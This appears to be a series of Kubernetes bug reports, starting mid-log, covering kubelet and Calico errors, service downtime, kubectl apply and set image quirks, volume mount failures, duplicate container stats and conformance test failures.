:\ 86c58d9df4\ , \ projectcalico.org/namespace\ :\ kube-system\ , \ projectcalico.org/orchestrator\ :\ k8s\ , \ k8s-app\ :\ kube-dns\ }, annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, spec:v3.workloadendpointspec{orchestrator:\ k8s\ , workload:\ \ , node:\ ubuntumaster001\ , containerid:\ 3a63a15f16bfd24e7760c9727a5238db8cfef6244df73c2e01d99fde58c4c73a\ , pod:\ coredns-86c58d9df4-dnbj6\ , endpoint:\ eth0\ , ipnetworks:  string{\ 192.168.229.56/32\ }, ipnats:  v3.ipnat nil , ipv4gateway:\ \ , ipv6gateway:\ \ , profiles:  string{\ kns.kube-system\ }, interfacename:\ cali3bdccfc8ea6\ , mac:\ 7a:2b:03:ba:7c:4c\ , ports:  v3.endpointport{v3.endpointport{name:\ dns\ , protocol:numorstring.protocol{type:1, numval:0x0, strval:\ udp\ }, port:0x35}, v3.endpointport{name:\ dns-tcp\ , protocol:numorstring.protocol{type:1, numval:0x0, strval:\ tcp\ }, port:0x35}, v3.endpointport{name:\ metrics\ , protocol:numorstring.protocol{type:1, numval:0x0, strval:\ tcp\ }, port:0x23c1}}}}\r 3月 29 15:58:09 ubuntumaster001 kubelet 28193 : 2019-03-29 15:58:07.495  info  30423  k8s.go 302: wrote updated endpoint to datastore containerid=\ db5f3e7210d9c3c292f316b82de21f2a316fd04a9c1423f3d7171c9611412ad9\  namespace=\ kube-system\  pod=\ coredns-86c58d9df4-zm42b\  workloadendpoint=\ ubuntumaster001-k8s-coredns--86c58d9df4--zm42b-eth0\ \r 3月 29 15:58:09 ubuntumaster001 kubelet 28193 : 2019-03-29 15:58:07.496  info  30437  k8s.go 302: wrote updated endpoint to datastore containerid=\ 3a63a15f16bfd24e7760c9727a5238db8cfef6244df73c2e01d99fde58c4c73a\  namespace=\ kube-system\  pod=\ coredns-86c58d9df4-dnbj6\  workloadendpoint=\ ubuntumaster001-k8s-coredns--86c58d9df4--dnbj6-eth0\ \r 3月 29 15:58:10 ubuntumaster001 kubelet 28193 : e0329 15:58:10.507136   28193 remote_runtime.go:282  containerstatus \ ef0b5a09cae1a7bf00150ac0a3b9b55694929549e7b82162b468ddda906de524\  from runtime service failed: rpc error: code = unknown desc = error: no such container: ef0b5a09cae1a7bf00150ac0a3b9b55694929549e7b82162b468ddda906de524\r 3月 29 15:58:10 ubuntumaster001 kubelet 28193 : e0329 15:58:10.507529   28193 kuberuntime_container.go:397  containerstatus for ef0b5a09cae1a7bf00150ac0a3b9b55694929549e7b82162b468ddda906de524 error: rpc error: code = unknown desc = error: no such container: ef0b5a09cae1a7bf00150ac0a3b9b55694929549e7b82162b468ddda906de524\r 3月 29 15:58:10 ubuntumaster001 kubelet 28193 : e0329 15:58:10.507634   28193 kuberuntime_manager.go:871  getpodcontainerstatuses for pod \ coredns-86c58d9df4-dnbj6_kube-system 386c9261-51f8-11e9-b172-000c29b7ad89 \  failed: rpc error: code = unknown desc = error: no such container: ef0b5a09cae1a7bf00150ac0a3b9b55694929549e7b82162b468ddda906de524\r 3月 29 15:58:10 ubuntumaster001 kubelet 28193 : e0329 15:58:10.507726   28193 generic.go:247  pleg: ignoring events for pod coredns-86c58d9df4-dnbj6/kube-system: rpc error: code = unknown desc = error: no such container: ef0b5a09cae1a7bf00150ac0a3b9b55694929549e7b82162b468ddda906de524\r 3月 29 15:58:11 ubuntumaster001 kubelet 28193 : e0329 15:58:11.096611   28193 pod_workers.go:190  error syncing pod 5201cab0-51f8-11e9-b172-000c29b7ad89  \ calico-node-hzs7g_kube-system 5201cab0-51f8-11e9-b172-000c29b7ad89 \  , skipping: failed to \ startcontainer\  for \ calico-node\  with crashloopbackoff: \ back-off 10s restarting failed container=calico-node pod=calico-node-hzs7g_kube-system 5201cab0-51f8-11e9-b172-000c29b7ad89 \ \r 3月 29 16:15:57 ubuntumaster001 kubelet 28193 : i0329 16:15:57.074609   28193 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ calico-kube-controllers-token-jg8qb\   uniquename: \ kubernetes.io/secret/52067b09-51f8-11e9-b172-000c29b7ad89-calico-kube-controllers-token-jg8qb\   pod \ calico-kube-controllers-584856c694-hbpzk\   uid: \ 52067b09-51f8-11e9-b172-000c29b7ad89\  \r 3月 29 16:15:59 ubuntumaster001 kubelet 28193 : w0329 16:15:59.307304   28193 pod_container_deletor.go:75  container \ 96e61edb6976d754be95aa01b95bbf4a8f3daf0792bf80a4137d565740fb365e\  not found in pod's containers\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r - cloud provider or hardware configuration: v1.13.2\r - os  e.g:  cat /etc/os-release  : ubuntu 18.04.1 lts\r - kernel  e.g.  uname -a  : 4.15.0-43-generic\r - install tools: kubeadm\r - others: none\r

what happened  :\r changing a service from externaltrafficpolicy  local  to  cluster  resulted in around 3 minutes of downtime for the service.  this was because the  local  cloud target pools etc got deleted before the new  cluster  configuration was added.\r \r   what you expected to happen  \r not to have a period where there is no  local  or  cluster  backends, and no outage from making this change.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a service with  externaltrafficpolicy: local , switch it to  cluster  whilst sending some load to the service, observe the downtime.\r \r   environment  :\r - kubernetes version  use  kubectl version  : gke v1.12.7-gke.10

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r kubectl apply deployment doesn't update the existing one and created a new one\r   what you expected to happen  :\r kubectl apply updated deployments the same way it does for services...\r   how to reproduce it  as minimally and precisely as possible   :\r have deployment.yml file\r kubectl apply -f deployment.yml\r edit the file\r kubectl apply -f deployment.yml\r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes version  use kubectl version :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r cloud provider or hardware configuration:\r bare metal:  1 test server  intel r  xeon r  cpu e3-1230 v3 @ 3.30ghz, 8 cores 32 go of ram\r os  e.g: cat /etc/os-release : centos 7\r kernel  e.g. uname -a : 4.20.14-100.fc28.x86_64\r install tools: kubespray

now that it's been out for a few months, some things worth checking: - make sure people are handling deletions-on-restart. - figure out a pattern that is universal and forces that to be done correctly, if possible.

example: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2276\r \r test failure reason:\r    \r i0227 18:24:49.350  failure finished test suite on host tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image\r i0227 18:24:49.351   failed to get iptables input on \ tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image\ : command  ssh -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error -i /root/.ssh/google_compute_engine jenkins@35.184.83.103 -- sudo iptables -l input  failed with error: exit status 255 output: \ ssh: connect to host 35.184.83.103 port 22: connection timed out\\r\ \ , command  scp -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error -i /root/.ssh/google_compute_engine -r jenkins@35.184.83.103:/tmp/node-e2e-20170227t182235/results/ .log /workspace/_artifacts/tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image  failed with error: exit status 1 \r    \r \r serial log output:\r    \r tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image login: feb 28 02:20:50 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 1739 : listen normally on 7 lxcbr0 10.0.3.1 udp 123\r feb 28 02:20:50 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 1739 : listen normally on 8 lxcbr0 fe80::bc44:2bff:fea1:60b9 udp 123\r feb 28 02:20:50 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 1739 : peers refreshed\r feb 28 02:20:50 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 1739 : new interface s  found: waking up resolver\r feb 28 02:20:56 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 1739 : ntpd exiting on signal 15\r feb 28 02:21:03 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2246 : accepted publickey for jenkins from 104.198.33.26 port 33128 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:21:03 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 1 of user jenkins.\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpdate 2242 : adjust time server 169.254.169.254 offset 0.081682 sec\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2312 : ntpd 4.2.6p5@1.2349-o wed oct  5 12:35:25 utc 2016  1 \r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : proto: precision = 0.113 usec\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : ntp_io: estimated max descriptors: 1024, initial socket boundary: 16\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen and drop on 0 v4wildcard 0.0.0.0 udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen and drop on 1 v6wildcard :: udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen normally on 2 lo 127.0.0.1 udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen normally on 3 eth0 10.128.0.30 udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen normally on 4 docker0 172.17.0.1 udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen normally on 5 lxcbr0 10.0.3.1 udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen normally on 6 lo ::1 udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen normally on 7 lxcbr0 fe80::bc44:2bff:fea1:60b9 udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listen normally on 8 eth0 fe80::4001:aff:fe80:1e udp 123\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : peers refreshed\r feb 28 02:21:05 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image ntpd 2313 : listening on routing socket on fd  25 for interface updates\r feb 28 02:21:09 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2357 : received disconnect from 104.198.33.26: 11: disconnected by user\r feb 28 02:22:35 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2380 : accepted publickey for jenkins from 104.198.33.26 port 33143 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:22:35 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : removed session 1.\r feb 28 02:22:35 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 2 of user jenkins.\r feb 28 02:22:35 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2450 : received disconnect from 104.198.33.26: 11: disconnected by user\r feb 28 02:22:36 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2453 : accepted publickey for jenkins from 104.198.33.26 port 33148 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:22:36 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : removed session 2.\r feb 28 02:22:36 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 3 of user jenkins.\r feb 28 02:22:36 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2523 : received disconnect from 104.198.33.26: 11: disconnected by user\r feb 28 02:22:37 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2526 : accepted publickey for jenkins from 104.198.33.26 port 33153 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:22:37 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : removed session 3.\r feb 28 02:22:37 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 4 of user jenkins.\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2596 : received disconnect from 104.198.33.26: 11: disconnected by user\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2601 : accepted publickey for jenkins from 104.198.33.26 port 33162 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : removed session 4.\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 5 of user jenkins.\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2671 : received disconnect from 104.198.33.26: 11: disconnected by user\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2674 : accepted publickey for jenkins from 104.198.33.26 port 33164 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : removed session 5.\r feb 28 02:22:39 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 6 of user jenkins.\r feb 28 02:22:41 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2744 : received disconnect from 104.198.33.26: 11: disconnected by user\r feb 28 02:22:55 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image accounts-from-metadata: warning error while trying to update accounts: timed out\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2837 : accepted publickey for jenkins from 104.198.33.26 port 33200 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : removed session 6.\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 7 of user jenkins.\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2907 : received disconnect from 104.198.33.26: 11: disconnected by user\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2911 : accepted publickey for jenkins from 104.198.33.26 port 33201 ssh2: rsa 1b:67:5f:a8:7e:8e:4d:8a:44:ae:3c:e9:0f:6a:8b:d4\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : removed session 7.\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image systemd-logind 1373 : new session 8 of user jenkins.\r feb 28 02:24:48 tmp-node-e2e-50a4f832-e2e-node-ubuntu-trusty-docker12-v2-image sshd 2981 : received disconnect from 104.198.33.26: 11: disconnected by user\r    \r \r it seems that there is something wrong with the ssh session.\r \r /cc @kubernetes/sig-node-bugs

in k8s service, every service has an clusterip. but in 1.4 version, can not \ ping clusterip\ , can it support in newest k8s ?\r \r \r

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : v1.6.4\r \r \r   environment  :\r -   cloud provider or hardware configuration  :openstack \r -   os    e.g. from /etc/os-release :centos 7.2.1511\r -   kernel    e.g.  uname -a  :3.10.0-327.36.3.el7.x86_64\r -   install tools  :kubeadm\r -   others  : flannel for cni, openstack cloud provider configured\r \r \r   what happened  :\r setup: 1 deployment containing 1 pod, 2 worker nodes\r   action: stopped the kubelet service on the worker node running the pod using  systemctl stop kubelet   testing kubelet failure/user error \r   result: after 5+ minutes, pod tried to be rescheduled onto other node, but failed:\r     master-0 ~ $ kubectl get po\r name                                 ready     status                                                                                                                                                                                                                                                                                                                                                                restarts   age\r xxx-db-1128755877-rg326   0/1       rpc error: code = 2 desc = failed to start container \ 2280fa5d1c6a082a354ee831b14e694b1f626ac69b731c2c9c9307efe7b78302\ : error response from daemon: {\ message\ :\ selinux relabeling of /var/lib/kubelet/pods/8435f187-5134-11e7-9f46-fa163e639790/volumes/kubernetes.io~cinder/pvc-fd15af00-5111-11e7-9f46-fa163e639790 is not allowed: \\\ read-only file system\\””}\r    \r \r kubelet stopped node:\r    \r  node-0 ~ $ mount \r <snip>\r /dev/vde on /var/lib/kubelet/pods/70ca85d0-512f-11e7-9f46-fa163e639790/volumes/kubernetes.io~cinder/pvc-fd15af00-5111-11e7-9f46-fa163e639790 type ext4  ro,relatime,seclabel,data=ordered \r    \r \r kubelet working node:\r     node-1 ~ $ mount \r <snip>\r /dev/vdd on /var/lib/kubelet/pods/8435f187-5134-11e7-9f46-fa163e639790/volumes/kubernetes.io~cinder/pvc-fd15af00-5111-11e7-9f46-fa163e639790 type ext4  ro,relatime,seclabel,data=ordered \r    \r \r   what you expected to happen  :\r i expected k8s to move the pod over to the still running node and move the volume mounted rw along with the pod. \r \r   how to reproduce it    as minimally and precisely as possible :\r create a pod with a cinder mounted pvc. stop kubelet service on the node running that pod\r \r   anything else we need to know  :\r openstack horizon was confused about which instances this volume was mounted to, it still showed it mounted to original instance with an incorrect device name  ado \r \r attaching kubectl pod describe for additional info:\r    \r  master-0 ~ $ kubectl describe pod xxx-db-1128755877-rg326\r name:\t\txxx-db-1128755877-rg326\r namespace:\tdefault\r node:\t\tnode-1/192.168.110.87\r start time:\twed, 14 jun 2017 19:06:05 +0000\r labels:\t\tapp=director\r \t\tmicroservice=xxx\r \t\tpod-template-hash=1128755877\r \t\ttier=database\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name”:”xxx-db-1128755877\ ,\ uid\ :\ 70c7c749-512f-11e7-9f46-fa1...\r status:\t\trunning\r ip:\t\t10.244.2.5\r controllers:\treplicaset/xxx-db-1128755877\r containers:\r  xxx-db:\r     container id:\tdocker://a51c378d2946dd4763a075abdc022020747dc91477ce323fe931c455fac5e907\r     image:\t\tmongo:3.4\r     image id:\t\tdocker-pullable://docker.io/mongo@sha256:c4bc4644b967a4b58022a79cf5c9afcd25ed08180c958a74df57b7753cfc8649\r     port:\t\t27017/tcp\r     state:\t\twaiting\r       reason:\t\trpc error: code = 2 desc = failed to start container \ a51c378d2946dd4763a075abdc022020747dc91477ce323fe931c455fac5e907\ : error response from daemon: {\ message\ :\ selinux relabeling of /var/lib/kubelet/pods/8435f187-5134-11e7-9f46-fa163e639790/volumes/kubernetes.io~cinder/pvc-fd15af00-5111-11e7-9f46-fa163e639790 is not allowed: \\\ read-only file system\\\ \ }\r     last state:\t\tterminated\r       reason:\t\tcontainercannotrun\r       message:\t\tselinux relabeling of /var/lib/kubelet/pods/8435f187-5134-11e7-9f46-fa163e639790/volumes/kubernetes.io~cinder/pvc-fd15af00-5111-11e7-9f46-fa163e639790 is not allowed: \ read-only file system\ \r       exit code:\t128\r       started:\t\tmon, 01 jan 0001 00:00:00 +0000\r       finished:\t\twed, 14 jun 2017 20:13:35 +0000\r     ready:\t\tfalse\r     restart count:\t522\r     liveness:\t\ttcp-socket :27017 delay=0s timeout=1s period=10s  success=1  failure=3\r     environment:\t<none>\r     mounts:\r       /data/db from yyy-db  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-3xsx3  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   yyy-db:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tmypvc\r     readonly:\tfalse\r   default-token-3xsx3:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-3xsx3\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\t\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t\t\t\t--------\t------\t\t-------\r   58m\t\t58m\t\t1\tattachdetach\t\t\t\t\t\t\t\twarning\t\tfailedmount\tfailed to attach volume \ pvc-fd15af00-5111-11e7-9f46-fa163e639790\  on node \ node-1\  with: failed to list openstack instances\r   1h\t\t58s\t\t35\tattachdetach\t\t\t\t\t\t\t\twarning\t\tfailedmount\tfailed to attach volume \ pvc-fd15af00-5111-11e7-9f46-fa163e639790\  on node \ node-1\  with: internal server error\r   1h\t\t56s\t\t34\tattachdetach\t\t\t\t\t\t\t\twarning\t\tfailedmount\tfailed to attach volume \ pvc-fd15af00-5111-11e7-9f46-fa163e639790\  on node \ node-1\  with: volume 1a214e7b-7524-470c-a682-fe18c376111e is not attached to 7a254dda-efd2-4511-8210-c62bfd372c44\r   1h\t\t10s\t\t524\tkubelet, node-1\tspec.containers{xxx-db}\tnormal\t\tpulled\t\tcontainer image \ mongo:3.4\  already present on machine\r   1h\t\t9s\t\t515\tkubelet, node-1\tspec.containers{xxx-db}\tnormal\t\tcreated\t\t events with common reason combined \r   1h\t\t9s\t\t524\tkubelet, node-1\t\t\t\t\t\twarning\t\tfailedsync\t events with common reason combined \r   1h\t\t9s\t\t514\tkubelet, node-1\tspec.containers{xxx-db}\twarning\t\tfailed\t\t events with common reason combined \r    \r \r

we've observed that sometimes container cgroups may be left behind uncleaned even though the container has terminated. in those cases, cadvisor would continue reporting stats for the terminated container, which then is shown in kubelet's /stats/summary endpoint. once kubelet starts a new container instance, it'd report both the terminated and the new container stats simultaneously. \r \r    \r \ podref\ : {\r      \ name\ : \ foo\ ,\r      \ namespace\ : \ default\ ,\r      \ uid\ : \ 11ebda1a-24de-11e7-b5f8-42010a8000fe\ \r     },\r     \ starttime\ : \ 2017-05-01t13:40:22z\ ,\r     \ containers\ :  \r      {\r       \ name\ : \ bar\ ,\r       \ starttime\ : \ 2017-05-01t13:40:25z\ ,\r       \ cpu\ : {\r        \ time\ : \ 2017-05-17t11:14:08z\ ,\r        \ usagenanocores\ : 158370,\r        \ usagecorenanoseconds\ : 192768296377\r       },\r      ...\r      },\r      {\r       \ name\ : \ bar\ ,\r       \ starttime\ : \ 2017-04-19t08:56:26z\ ,\r       \ cpu\ : {\r        \ time\ : \ 2017-05-17t11:14:12z\ ,\r        \ usagenanocores\ : 0,\r        \ usagecorenanoseconds\ : 145043746869\r       },\r       ...\r      },\r    \r the duplicated entries for the same container may confuse the monitoring components and cause loss of stats.\r \r kubelet should do the due diligence and filters out the entries for the dead containers. these entries can be  mostly  identified by looking at the starttime  earlier than the new entry  and the usage  zero usage . alternatively, kubelet can check the existence of the container by asking the container runtime, and filters out entries accordingly. however, due to the gap between the stats collection time and the existence check time, this may filter out more stats than desired. i propose we use the simpler, heuristics to remove the extra stats.\r \r /cc @dchen1107 @timstclair @piosz \r /cc @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r i have two deployments with different names running the same image and sharing a label  they differ in replica count and some environment variables . i am trying to update both deployments with kubectl using the  --selector  flag instead of naming the deployment explicitly, and instead of getting the desired behavior i'm observing that only one deployment would be affected  the first one alphabetically, but that may be a coincidence \r \r    \r $ kubectl set image \\\r \tdeployments \\\r \t--namespace=some-namespace \\\r \t--dry-run \\\r \t--selector app=worker \\\r \tworker=my/image:newtag\r \r name                 desired   current   up-to-date   available   age\r add-stories-worker   1         1         1            1           3d\r    \r \r i've also tried  --all  instead of the  --selector  line, which also does not work. substituting either worker name on that line has the expected result, but of course does not impact all of the deployments.\r \r   what you expected to happen  :\r all of the deployments matching the label are affected by the command:\r    \r name                 desired   current   up-to-date   available   age\r add-stories-worker   1         1         1            1           3d\r pull-worker          3         3         3            3           3d\r    \r   how to reproduce it  as minimally and precisely as possible   :\r create two deployments that are nearly identical:\r    yaml\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: add-stories-worker\r spec:\r   template:\r     metadata:\r       labels:\r         app: worker\r     spec:\r       containers:\r         - image: nginx:1.13.2-alpine\r           name: worker\r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: pull-worker\r spec:\r   template:\r     metadata:\r       labels:\r         app: worker\r     spec:\r       containers:\r         - image: nginx:1.13.2-alpine\r           name: worker\r    \r then run the command noted above  remove the namespace line, or modify the above yaml to put the deployments in one , substituting a different image  e.g.  worker=nginx:1.13.3-alpine   \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.1-gke.0\ , gitcommit:\ 841411e511bfb1ccd78e76bf8633d4515061e18b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t17:52:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : gke\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r conformance test will be failed if there are  completed  pods in  kube-system , we should filter pods in  completed  state as well.\r \r    \r root@gyliu-ubuntu-1:~/result/plugins/e2e/results  kubectl get pods -n kube-system -a | grep complete\r cloudant-db-init-4kqqf                                    0/1       completed   0          17m\r configure-calico-mesh-2tptp                               0/1       completed   0          22m\r monitoring-grafana-ds-94mtl                               0/1       completed   1          11m\r usncrawler-job-wflfr                                      0/1       completed   0          9m\r    \r    \r  feb 23 11:30:00.806: error waiting for all pods to be running and ready: 1 / 80 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r    \r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r \r   what happened  :\r a node running k8s 1.10.2 gets a pod scheduled with the memory request set to  256m . so the wrong unit is used: \r    \r     resources:\r       limits:\r         cpu: \ 2\ \r         memory: 1gi\r       requests:\r         cpu: 250m\r         memory: 256m\r     \r this results in an off memory request setting on the overall node  node has 192gb memory :\r    \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  